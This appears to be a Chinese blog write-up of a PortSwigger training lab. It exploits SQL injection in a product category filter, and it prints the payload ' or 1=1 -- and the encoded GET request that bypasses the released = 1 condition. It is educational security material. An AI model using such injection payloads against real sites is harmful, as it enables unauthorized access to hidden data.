杳若
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

?突破WHERE限制的SQL子句,显示表内全部内容
Lab: SQL injection vulnerability in WHERE clause allowing retrieval of hidden data
实验前置必要知识点
一个没有安全概念的网站,会直接将用户的输入拼接到SQL语句中进行查询。
例如当用户单击“礼品”类别时,其浏览器会请求 URL:
https://insecure-website.com/products?category=Gifts
这会导致应用程序进行 SQL 查询,以从数据库中检索相关产品的详细信息:
SELECT * FROM products WHERE category = 'Gifts'
因此在黑盒测试中可以利用注释的方法尝试SQL
注入
实验要求
此实验室在产品类别筛选器中包含 SQL 注入漏洞。当用户选择类别时,应用程序将执行如下所示的 SQL 查询:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
若要解决实验室问题,请执行 SQL 注入攻击,使应用程序显示任何类别(已发布和未发布)中所有产品的详细信息。
渗透开始
访问对应靶场界面
https://portswigger.net/web-security/sql-injection/lab-retrieve-hidden-data
启动靶场
1. 站点分析
这是购物类型的网站
存在查看商品以及优化搜索的功能
2. 寻找可疑功能点(查看Burp历史记录进行分析)
从总体来看,日志中比较可疑的两处功能点
在控制台输入时间查询,确认时间是可查询的
console.log(new Date());
VM27:1 Tue Aug 08 2023 17:56:11 GMT+0800 (中国标准时间)
console.log(new Date());
VM31:1 Tue Aug 08 2023 17:56:12 GMT+0800 (中国标准时间)
3. 功能点测试
将对应的日志信息发送到重放模块,首先是productId=6
推测通过查询Id
,系统会访问后端数据库提取Id
为6的内容并回显到前端
# 例如从所有表中查询对应Id为6的内容并回显
SELECT * FROM products WHERE producId = 6
尝试添加一个'
使其应用错误响应,发现提示"Invalid product ID"
再次尝试发现似乎不行,因为查询的是数字,可能限定为整数型
也有可能页面的内容不需要改变,不存在SQL
注入
4.寻找其他功能点
接下来测试优化标签的功能点
根据提示,似乎是这处
SELECT * FROM products WHERE category = 'Accessories' AND released = 1
可控区域在
SELECT * FROM products WHERE category = '{用户输入处}' AND released = 1
实验要求是请执行 SQL 注入攻击,使应用程序显示任何类别(已发布和未发布)中所有产品的详细信息,本质上应该是去掉WHERE
的限制
首先尝试让SQL
语句进行报错,通常我们可以尝试输入'
SELECT * FROM products WHERE category = ''' AND released = 1
很直观的发现服务器回显了500
大概率是SQL
语句报错产生
尝试构造Ture
的语法并且注释掉released = 1
首先闭合SQL
语句,并且注释掉后面的内容
SELECT * FROM products WHERE category = '{' or 1=1 -- q}' AND released = 1
SELECT * FROM products WHERE category = '' or 1=1 -- q' AND released = 1
因为是在GET
传参,所以空格需要进行编码成%20
GET /filter?category=Accessories'%20or%201=1%20--%20q HTTP/2
5.完成实验
这样总体的SQL
语句就会变成只要是在products
表中的内容都会显示
SELECT * FROM products WHERE True
发现确实将输入执行成了SQL
注入,成功完成了实验
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
